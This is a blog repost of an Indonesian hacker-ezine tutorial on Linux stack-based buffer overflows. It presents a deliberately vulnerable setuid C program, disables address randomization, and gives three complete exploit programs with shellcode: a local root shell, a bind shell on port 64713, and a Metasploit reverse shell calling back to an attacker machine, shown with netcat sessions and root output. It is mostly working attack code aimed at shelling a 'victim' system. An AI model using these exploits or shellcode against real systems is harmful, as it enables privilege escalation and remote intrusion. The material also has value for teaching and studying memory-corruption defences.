Wednesday, October 24, 2007

Opic

Stack-based Buffer Overflow

Stack-based Buffer Overflow

This is simple explanation of stack-based buffer overflow using linux as the operating system. This article originally can be found on kecoak-elektronik’s ezine, vol 1.

Terbitan Online Kecoak Elektronik
http://www.kecoak-elektronik.net

===========================================================================
Stack-based Buffer Overflow
by: Cyb3rh3b [mailto: cyb3rh3b@kecoak-elektronik.net]
Kecoak Elektronik Indonesia
===========================================================================

[ ~ Simple Buffer Overflow

Salam!

Saat ini artikel mengenai buffer overflow sudah banyak kita temukan di seluruh
penjuru dunia cyber (internet?!), dan saya yakin banyak sekali yang sudah mengetahui
bahwa buffer overflow merupakan salah satu tehnik tertua yang masih terus berkembang
hingga saat ini dimana banyak sekali digunakan untuk meng-exploitasi baik sistem
maupun program aplikasi. Namun mungkin artikel sejenis yang tertuang dalam bahasa
Indonesia masih jarang ditemukan, oleh karena itulah saya mencoba memberikan
gambaran proses exploitasi suatu program dengan memanfaatkan buffer overflow dan
tentu saja tujuan nya satu...yaitu untuk mendapatkan rootshell pada sistem korban
:).

Buffer overflow inti nya membuat buffer (baca:penampung) kelebihan muatan sehingga
isi nya tumpah. Dalam dunia pemrograman, istilah ini berhubungan dengan memory,
karena suatu program pasti akan berhubungan dengan suatu lokasi di memory. Ada
berbagai jenis alokasi memory, dan yang akan saya bahas kali ini adalah memory stack
yang umum nya digunakan pada saat suatu program memanggil suatu fungsi. Berikut ini
contoh fungsi dalam bahasa C:

[Cyb3rh3b@k-elektronik]$ cat fungsi.c

int fungsi_hitung ( int a, int b, int c, int d )
{

int hasil;

hasil = a+b+c+d;

}

fungsi pada program di atas memiliki local variable yang diberi nama "hasil", serta
4 buah parameter fungsi yaitu a, b, c, dan d. Saat fungsi tersebut dijalankan, maka
akan di lakukan inisialisasi pada suatu lokasi memory yang disebut "stack" untuk
menampung kelima buah variable diatas (hasil, a, b, c, d). Selain local variabel dan
parameter fungsi, akan di simpan juga informasi "return address (ret)" serta "stack
frame pointer (sfp)" pada stack memory. Berikut gambaran nya:

-------------------------------------
hasil
-------------------------------------
stack frame pointer (sfp)
-------------------------------------
return address (ret)
-------------------------------------
a
-------------------------------------
b
-------------------------------------
c
-------------------------------------
d
-------------------------------------

Struktur pada stack diatas dinamakan "stack frame".

Saat eksekusi suatu program aplikasi, prosesor hanya akan menjalankan satu buah
instruksi pada satu waktu. Dan apabila pada program tersebut dipanggil suatu fungsi
(misal:fungsi_hitung diatas), maka prosesor akan menyimpan lokasi terakhir eksekusi
(yang di pegang oleh register EIP) pada "return address" stack frame diatas. Dan
setelah itu barulah prosesor menjalankan code-code pada fungsi_hitung, setelah
selesai dengan code-code pada fungsi_hitung maka prosesor akan mengembalikan nilai
yang tersimpan pada "return address" stack frame ke EIP dan kembali melanjutkan code
program aplikasi yang utama.

Kondisi buffer overflow pada stack akan terjadi misal nya apabila nilai variable
"hasil" tidak di tangani dengan baik, sehingga isi nya akan tumpah dan
meng-overwrite nilai "return address (ret)" pada stack frame diatas. Pada aplikasi
normal, kondisi ini akan menyebabkan aplikasi crash dan exit(1)...namun dengan
menggunakan teknik-teknik khusus kita dapat memberikan nilai tertentu pada "return
address (ret)" tersebut sehingga begitu prosesor selesai menjalankan fungsi_hitung
dan akan kembali ke program utama dengan membaca nilai pada "return address (ret)",
kita dapat mengarahkan prosesor untuk menjalankan command-command yang kita
inginkan, kondisi inilah yang disebut exploitasi pada buffer overflow.

[ ~ STOP de Theory !!!

Saya rasa cukup teori mengenai buffer overflow, untuk lebih jelas nya tentang buffer
overflow ini silahkan baca artikel nya aleph1 mengenai "Smashing The Stack For Fun
and Profit" atau cari referensi lain nya di internet :). Untuk selanjut nya, saya
akan memperlihatkan teknik exploitasi yang memanfaatkan buffer overflow ini untuk
mendapatkan shell suatu sistem (baca:nge-root!).

Berikut ini adalah contoh program yang memiliki hole buffer overflow:

[Cyb3rh3b@k-elektronik]$ cat vuln.c

#include

void buffer_overflow(char *str)
{

char buffer[500];

strcpy(buffer,str);

puts(buffer);
}

int main(int argc, char *argv[])
{

buffer_overflow(argv[1]);

return 0;
}

[Cyb3rh3b@k-elektronik]$ gcc vuln.c -o vuln
[Cyb3rh3b@k-elektronik]$ ./vuln Viva_La_Cucaracha
Viva_La_Cucaracha

Program di atas sebenar nya simple saja, yaitu mengambil data input an dari user dan
menampilkan nya ke layar. Berikut ini adalah stack frame (struktur stack) saat
fungsi buffer_overflow dipanggil:

~~ STACK-MEMORY ~~
-------------------------------------
buffer
-------------------------------------
stack frame pointer (sfp)
-------------------------------------
return address (ret)
-------------------------------------
str
-------------------------------------
~~ Sisa memory stack ~~
-------------------------------------

Variabel buffer di set untuk menampung 500 byte karakter, namun apa yang akan
terjadi apabila fungsi tersebut diberikan inputan lebih dari 500 byte?!yup, akan
terjadi buffer overflow dan efek nya akan menyebabkan lokasi "return address (ret)"
dan "stack frame pointer (sfp)" di overwrite nilai nya. Bagaimana cara nya
meng-exploitasi program tersebut?!Berikut ini akan di tunjukan beberapa jenis
inputan user mulai dari 400 karakter, 500 karakter, dan 600 karakter:

[Cyb3rh3b@k-elektronik]$ ./vuln `perl -e 'print "A"x400'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

** Achtung: tanda petik sebelum perl adalah backtick(`) bukan tanda petik tunggal (');

[Cyb3rh3b@k-elektronik]$ ./vuln `perl -e 'print "A"x500'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[Cyb3rh3b@k-elektronik]$ ./vuln `perl -e 'print "A"x600'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

Aha, dapat kita lihat bahwa apabila di berikan input berupa 600 byte karakter,
program tersebut diatas akan mengalamai crash (segmentation fault), dan untuk
memastikan nya apakah benar data input tersebut tumpah hingga masuk ke "return
address (ret)" stack frame dan kemudian di teruskan ke EIP register dapat
menggunakan aplikasi gdb seperti berikut ini:

[Cyb3rh3b@k-elektronik]$ gdb ./vuln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".

(gdb) run `perl -e 'print "A"x600'`
Starting program: /home/rasyid/h4x0r/article/vuln `perl -e 'print "A"x600'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) i r
eax 0x259 601
ecx 0x0 0
edx 0xb7fd07e0 -1208154144
ebx 0xb7fceffc -1208160260
esp 0xbffff370 0xbffff370
ebp 0x41414141 0x41414141
esi 0xbffff414 -1073744876
edi 0xbffff3a0 -1073744992
eip 0x41414141 0x41414141
eflags 0x200286 2097798
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

------------- Cut Here --------------------

Bisa dilihat isi register eip adalah 0x41414141, yang berarti nilai hexadecimal
untuk karakter "A". Dengan kata lain, apabila di masukan karakter "A" sebanyak 600x
maka akan membanjiri buffer dan tumpah hingga meng-overwrite isi dari "return
address (ret)", setelah prosesor selesai menjalankan fungsi buffer_overflow() maka
isi dari "return address (ret)" akan di copy ke register eip, dan prosesor akan
mencari lokasi memory yang ditunjukan oleh eip tersebut untuk menjalankan program
utama berikut nya. Namun ternyata isi eip tersebut adalah 0x41414141 (karakter
"AAAA"), prosesor akan mencari lokasi tersebut di memory dan yang pasti akan
menemukan kegagalan (alamat tersebut tidak ada atau berisi instruksi yang berbeda
dari seharus nya), sehingga program akan crash dengan pesan "Segmentation Fault".

Proses exploitasi program tersebut adalah membelokan jalan nya prosesor sehingga
prosesor menjalankan suatu code-code tertentu (disebut bytecode) di memory, untuk
membelokan jalan nya prosesor inilah kita manfaatkan buffer overflow diatas.

[ ~ R00tShell, R00tShell, R00tShell !!!

Inti dari proses exploitasi adalah kita memasukan suatu bytecode tertentu pada
buffer program diatas sehingga proses kerja prosesor dapat di belokan untuk
meng-eksekusi code-code yang kita inginkan. Bytecode dibuat dalam bentuk yang dapat
langsung di masukan pada memory, dan code-code tersebut umum nya untuk membangkitkan
shell...sehingga bytecode yang dimasukan pada exploit sering disebut shellcode.
Penjelasan mengenai apa itu shellcode pernah saya tulis sebelum nya untuk komunitas
ECHO, silahkan lihat pada ezine edisi ke-14 komunitas echo
(http://ezine.echo.or.id).

Pada proses exploitasi kali ini, kita akan membuat buffer overflow pada buffer
program vuln.c diatas. Dan kemudian buffer tersebut akan dijadikan input bagi
program vuln. Namun sebelum nya kita harus meng-analsis terlebih dahulu program
vuln.c diatas.

Pada program tersebut, buffer dapat menampung 500 byte karakter. Buffer akan
overflow apabila menerima input 600 byte karakter, sehingga tujuan kita adalah
membentuk buffer yang berukuran 600 bytes dimana didalam nya terdapat shellcode
untuk di eksekusi oleh program vuln tersebut. Pada proses exploitasi, salah satu hal
yang kompleks adalah menentukan lokasi shellcode pada memory, kita akan memasukan
shellcode ke dalam buffer melalui input an user...namun kita tidak mengetahui lokasi
buffer yang sebenar nya pada memory. Untuk itulah digunakan acuan stack pointer,
pada program vuln.c diatas fungsi overflow akan langsung di eksekusi oleh program,
dengan kata lain lokasi buffer tidak akan jauh dari nilai stack pointer (SP) yang
menyimpan lokasi stack saat fungsi baru saja dipanggil.

Kita tidak dapat menentukan lokasi sebenar nya dari shellcode tersebut, yang dapat
kita lakukan hanya memperkirakan lokasi tersebut pada buffer. Untuk dapat
mengarahkan ke lokasi shellcode yang tepat, maka ada 2 tehnik yang digunakan. Yang
pertama adalah memasukan instrusksi NOP pada buffer, instruksi NOP biasa nya
digunakan untuk proses interval dimana prosesor tidak melakukan instruksi apapun,
dan prosesor akan bergerak ke alamat berikut nya pada memory tanpa melakukan apapun
(No Operation). Dengan memberikan instruksi NOP di lokasi awal buffer, maka kita
dapat mengarahkan prosesor ke lokasi NOP manapun dan kemudian membiarkan prosesor
menjalankan operasi NOP tersebut sampai akhir nya menemukan lokasi shellcode yang
sebenar nya.

Teknik kedua adalah menempatkan lokasi memory tempat NOP dan ShellCode kira-kira
berada pada sisa (akhir) buffer, sehingga bagian manapun dari buffer yang akan
meng-overwrite "return address (ret)" tidak masalah. Kira-kira, seperti ini lah
bentuk buffer yang akan kita buat untuk dijadikan input terhadap program vuln.c
diatas:

| NOP;NOP;NOP...200x| -- -Shell Code Here --- | Lokasi Memory utk overwrite return
address |

|--------------------------------------------- 600 bytes
----------------------------------|

binun yak?!=p. Nanti di akhir artikel akan saya berikan beberapa referensi tentang
buffer overflow kok, untuk saat ini...saya lebih menekankan pada praktek nya aja :).
Yang berikut nya adalah program exploit untuk mengeksploitasi aplikasi vuln.c
diatas, namun sebelum nya ada beberapa hal yang harus dilakukan sebelum melakukan
proses exploitasi:

1. Menggunakan sistem operasi linux
2. Non-aktifkan fungsi randomize virtual memory pada kernel:

# echo "0" > /proc/sys/kernel/randomize_va_space

3. Ubah ownership pada program vuln diatas menjadi milik root dan ubah mode nya
menjadi suid program.

# chown root vuln
# chmod +s vuln
# ls -l
-rwsr-sr-x 1 root users 11205 Aug 13 01:40 vuln

That's it!!! Program yang akan di eksploitasi merupakan suid aplikasi dengan
ownership root, dan untuk saat ini fitur randomize virtual memory linux nya di
non-aktifkan terlebih dahulu, hal ini untuk mempermudah menunjukan dasar proses
exploitasi. Untuk proses exploitasi saya akan menggunakan beberapa macam shellcode,
shellcode adalah code-code yang akan di eksekusi oleh prosesor untuk dijalankan
sesaat setelah program di buffer overflow kan.

Shellcode yang digunakan saya ambil dari milw0rm (www.milw0rm.com) dan hasil
generate dari metasploit (www.metasploit.com). Here we go!

[Cyb3rh3b@k-elektronik]$ cat exploit-setuid0.c

#include

char shellcode[] =

/* ---------------------- Begin ShellCode ---------------------- */

/*
* (Linux/x86) setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])
* - 31 bytes
* - xgc@gotfault.net
*
*/

"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80

"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80;

// milw0rm.com [2006-04-03]

/* -------------------- End Of ShellCode ------------------------- */

/* Fungsi untuk mendapatkan lokasi stack pointer */
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

/* Alokasikan 600 byte pada buffer (heap) */
buffer = malloc(600);

/* Isi seluruh buffer dengan lokasi memory yang di inginkan */
/* dlm hal ini merupakan alamat stack pointer saat fungsi dipanggil */
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

/* Timpa isi buffer (200 lokasi awal) dengan instruksi NOP */
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

/* Letakan shellcode diatas setelah NOP-sled */
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

/* End the string */
buffer[600-1] = 0;

/* Panggil program vuln dengan buffer diatas sbg input an nya */
execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
free(buffer);

return 0;
}

Program exploit diatas akan melakukan lokal exploit terhadap aplikasi vuln dan
membangkitkan root shell, harap di perhatikan bahwa exploit diatas harus di eksekusi
dalam direktori yang sama dengan dengan aplikasi vuln yang akan kita eksploit
(perhatikan bahwa saat ini user sebagai user biasa, prompt "$")

[Cyb3rh3b@k-elektronik]$ gcc exploit-setuid0.c -o exploit-setuid0
[Cyb3rh3b@k-elektronik]$ ls -l
-rwxr-xr-x 1 rasyid users 11906 Aug 13 01:27 exploit-setuid0
-rw-r--r-- 1 rasyid users 1985 Aug 13 00:08 exploit-setuid0.c
-rwsr-sr-x 1 root users 11205 Aug 13 01:40 vuln
-rw-r--r-- 1 rasyid users 207 Aug 13 01:40 vuln.c

[Cyb3rh3b@k-elektronik]$ id
uid=1005(rasyid) gid=100(users) groups=100(users)

[Cyb3rh3b@k-elektronik]$ ./exploit-setuid0
Stack pointer (ESP) : 0xbffff578
Offset from ESP : 0x0
Desired Return Addr : 0xbffff578
jX1Û1Ò
XRh//shh/binãáxõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõh-3.00#id
uid=0(root) gid=100(users) groups=100(users)

Shellcode diatas berisi code-code yang akan membangkitkan shell (/bin/sh) dengan
sebelum nya melakukan set uid=0 (nice w0rk xgc! :) ). Begitu lah cara kerja exploit
dan kita baru saja mempraktekan cara meng-exploit program “vuln” dan mendapatkan
akses root (istilah gaol nya: nge-root) pada sistem, atau biasa di sebut lokal
exploit :).

[ ~ Linux port-bind Shell !!!

Pada contoh berikut nya, program exploit yang akan digunakan masih tetap sama namun
kita akan menggunakan shellcode yang berbeda. Yaitu shellcode jenis bindshell,
shellcode ini dapat kalian temukan pada milw0rm, shellcode ini dibuat oleh xgc dari
GotFault security team. Fungsi dari shellcode ini adalah membuka port pada sistem
setelah dilakukan exploitasi program “vuln”. Berikut ini exploit yang memanfaatkan
shellcode linux port bind:

[Cyb3rh3b@k-elektronik]$ cat exploit-port-bind.c

#include

char shellcode[] =

/* ———————- Begin ShellCode ————————*/

/*
* portbind shellcode 86 bytes for Linux/x86
* Copyright (c) 2006 Gotfault Security
*
* portbind shellcode that bind()’s a shell on port 64713/tcp
*
*/

/* socket(AF_INET, SOCK_STREAM, 0) */

“\x6a\x66″ // push $0×66
“\x58″ // pop %eax
“\x6a\x01″ // push $0×1
“\x5b” // pop %ebx
“\x99″ // cltd
“\x52″ // push %edx
“\x53″ // push %ebx
“\x6a\x02″ // push $0×2
“\x89\xe1″ // mov %esp,%ecx
“\xcd\x80″ // int $0×80

/* bind(s, server, sizeof(server)) */

“\x52″ // push %edx
“\x66\x68\xfc\xc9″ // pushw $0xc9fc // PORT = 64713
“\x66\x6a\x02″ // pushw $0×2
“\x89\xe1″ // mov $esp,%ecx
“\x6a\x10″ // push $0×10
“\x51″ // push %ecx
“\x50″ // push %eax
“\x89\xe1″ // mov %esp,%ecx
“\x89\xc6″ // mov %eax,%esi
“\x43″ // inc %ebx
“\xb0\x66″ // mov $0×66,%al
“\xcd\x80″ // int $0×80

/* listen(s, anything) */

“\xb0\x66″ // mov $0×66,%al
“\xd1\xe3″ // shl %ebx
“\xcd\x80″ // int $0×80

/* accept(s, 0, 0) */

“\x52″ // push %edx
“\x56″ // push %esi
“\x89\xe1″ // mov %esp,%ecx
“\x43″ // inc %ebx
“\xb0\x66″ // mov $0×66,%al
“\xcd\x80″ // int $0×80

“\x93″ // xchg %eax,%ebx

/* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */

“\x6a\x02″ // push $0×2
“\x59″ // pop %ecx

“\xb0\x3f” // mov $0×3f,%al
“\xcd\x80″ // int $0×80
“\x49″ // dec %ecx
“\x79\xf9″ // jns dup_loop

/* execve(”/bin/sh”, [”/bin/sh”], NULL) */

“\x6a\x0b” // push $0xb
“\x58″ // pop %eax
“\x52″ // push %edx
“\x68\x2f\x2f\x73\x68″ // push $0×68732f2f
“\x68\x2f\x62\x69\x6e” // push $0×6e69622f
“\x89\xe3″ // mov %esp, %ebx
“\x52″ // push %edx
“\x53″ // push %ebx
“\x89\xe1″ // mov %esp, %ecx
“\xcd\x80″; // int $0×80;

/* ——————– End Of ShellCode ————————- */

/* Fungsi untuk mendapatkan lokasi stack pointer */
unsigned long sp(void)
{ __asm__(”movl %esp, %eax”);}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

printf(”Stack pointer (ESP) : 0x%x\n”, esp);
printf(” Offset from ESP : 0x%x\n”, offset);
printf(”Desired Return Addr : 0x%x\n”, ret);

/* Alokasikan 600 byte pada buffer (heap) */
buffer = malloc(600);

/* Isi seluruh buffer dengan lokasi memory yang di inginkan */
/* dlm hal ini merupakan alamat stack pointer saat fungsi dipanggil */
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

/* Timpa isi buffer (200 lokasi awal) dengan instruksi NOP */
for(i=0; i < 200; i++)
{ buffer[i] = ‘\x90′; }

/* Letakan shellcode diatas setelah NOP-sled */
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

/* End the string */
buffer[600-1] = 0;

/* Panggil program vuln dengan buffer diatas sbg input an nya */
execl(”./vuln”, “vuln”, buffer, 0);

// Free the buffer memory
free(buffer);

return 0;
}

[Cyb3rh3b@k-elektronik]$ gcc exploit-port-bind.c -o exploit-port-bind
[Cyb3rh3b@k-elektronik]$ /sbin/ifconfig | grep inet
inet addr:192.168.116.130 Bcast:192.168.116.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fede:8ecf/64 Scope:Link
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
[Cyb3rh3b@k-elektronik]$ ./exploit-port-bind
Stack pointer (ESP) : 0xbffff578
Offset from ESP : 0×0
Desired Return Addr : 0xbffff578
jfXj[RSjáfhüQPá°fͰfÑÍVáfÍY°?Íyù XRh//shh/binãá¿xõõõõõõõõõõõõõõõõõõõõõõõõõõõ¿xõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõ
shellcode diatas akan membuka port 64713 setelah meng-exploit program vuln, dan kita
bisa mendapatkan shell dengan melakukan koneksi ke sistem tersebut melalui port
64713. Program yang saya eksploitasi memiliki ip 192.168.116.130, sehingga untuk
mendapatkan shell nya saya cukup menggunakan netcat (nc) untuk konek ke port 64713
mesin tersebut:

[saul@192.168.116.33]$ nc 192.168.116.130 64713
uname -a
Linux slax 2.6.15.6 #1 SMP Fri Mar 24 16:46:23 GMT 2006 i686 unknown unknown GNU/Linux
id
uid=1005(rasyid) gid=100(users) groups=100(users)

[ ~ Linux Reverse (connect-back) Shell !!!

Selain memanfaatkan shellcode yang terdapat pada situs-situs seperti milw0rm, kita
juga dapat meng-generate shellcode untuk di sesuaikan dengan kebutuhan sendiri.
Salah satu tools yang paling mudah digunakan adalah metasploit. Untuk membuat
payload (shellcode) kita dapat memanfaatkan fitur msfweb nya metasploit, cukup
aktifkan fitur tersebut dan langsung akses http://localhost:55555

Pada menu msfweb terdapat menu payload, dan kemudian pilihlah payload reverse-shell
untuk sistem operasi linux (Linux IA32 Reverse Shell). Pada LHOST isi alamat IP
lokal yang akan menerima connect-back shell dari target, dan LPORT pilih local port
dimana kita akan menerima koneksi dari target. Pada contoh ini saya akan menunjukan
bahwa target memiliki IP 192.168.116.130 dan mesin attacker yang akan menerima
koneksi reverse-shell memiliki IP 192.168.116.133, berikut ini hasil generate
payload nya:

char shellcode[] =
“\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x77″
“\xd3\x60\x7c\x83\xeb\xfc\xe2\xf4\x46\x08\x33\x3f\x24\xb9\x62\x16″
“\x11\x8b\xe9\x9d\xba\x53\xf3\x25\xc7\xec\xad\xfc\x3e\xaa\x99\x27″
“\x2d\xbb\xa0\xd4\x03\x51\x06\x14\x78\xb0\x23\x1a\x24\x5a\x81\xcc”
“\x11\x83\x31\x2f\xfe\x32\x23\xb1\xf7\x81\x08\x53\x58\xa0\x08\x14″
“\x58\xb1\x09\x12\xfe\x30\x32\x2f\xfe\x32\xd0\x77\xba\x53\x60\x7c”;

Sebelum melakukan exploitasi, terlebih dahulu dibuka port 3939 pada mesin
192.168.116.133 dimana mesin tersebut akan menerima shell (reverse-shell) dari mesin
korban (192.168.116.130). Untuk menerima koneksi ini digunakan program netcat (nc):

[Cyb3rh3b@192.168.116.133]# nc -l -p 3939 -vv
listening on [any] 3939 …

Selanjut nya pada mesin target, masukan shellcode diatas pada bagian shellcode
exploit, sehingga hasil nya:

[Cyb3rh3b@192.168.116.130]$ cat exploit-reverse-shell.c

#include

char shellcode[] =

/* ———————- Begin ShellCode ————————*/

“\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x77″
“\xd3\x60\x7c\x83\xeb\xfc\xe2\xf4\x46\x08\x33\x3f\x24\xb9\x62\x16″
“\x11\x8b\xe9\x9d\xba\x53\xf3\x25\xc7\xec\xad\xfc\x3e\xaa\x99\x27″
“\x2d\xbb\xa0\xd4\x03\x51\x06\x14\x78\xb0\x23\x1a\x24\x5a\x81\xcc”
“\x11\x83\x31\x2f\xfe\x32\x23\xb1\xf7\x81\x08\x53\x58\xa0\x08\x14″
“\x58\xb1\x09\x12\xfe\x30\x32\x2f\xfe\x32\xd0\x77\xba\x53\x60\x7c”;

/* ———————- End Of Shellcode ———————–*/

/* Fungsi untuk mendapatkan lokasi stack pointer */
unsigned long sp(void)
{ __asm__(”movl %esp, %eax”);}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

…………….

<—— dst, sama seperti exploit sebelum nya. code cut here! —————->

[Cyb3rh3b@192.168.116.130]$ gcc exploit-reverse-shell.c -o exploit-reverse-shell
[Cyb3rh3b@192.168.116.130]$ ./exploit-reverse-shell
Stack pointer (ESP) : 0xbffff568
Offset from ESP : 0×0
Desired Return Addr : 0xbffff568
3ÉîÙ$ôÓ|ëô¹béó­ü s
þ02/þ2кS`|hõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõõ
Dan selanjut nya…kita akan mendapatkan reverse-shell pada mesin 192.168.116.133
port 3939:

#
192.168.116.130: inverse host lookup failed: Host name lookup failure
connect to [192.168.116.130] from (UNKNOWN) [192.168.116.130] 51441
id
uid=1005(rasyid) gid=100(users) groups=100(users)

[ ~ Fyuuuhhh !!!

Panjang yak?!=P. Begitulah kira-kira konsep dasar stack overflow

Opic

About Opic -

Author Description here.. Nulla sagittis convallis. Curabitur consequat. Quisque metus enim, venenatis fermentum, mollis in, porta et, nibh. Duis vulputate elit in elit. Mauris dictum libero id justo.

Subscribe to this Blog via Email :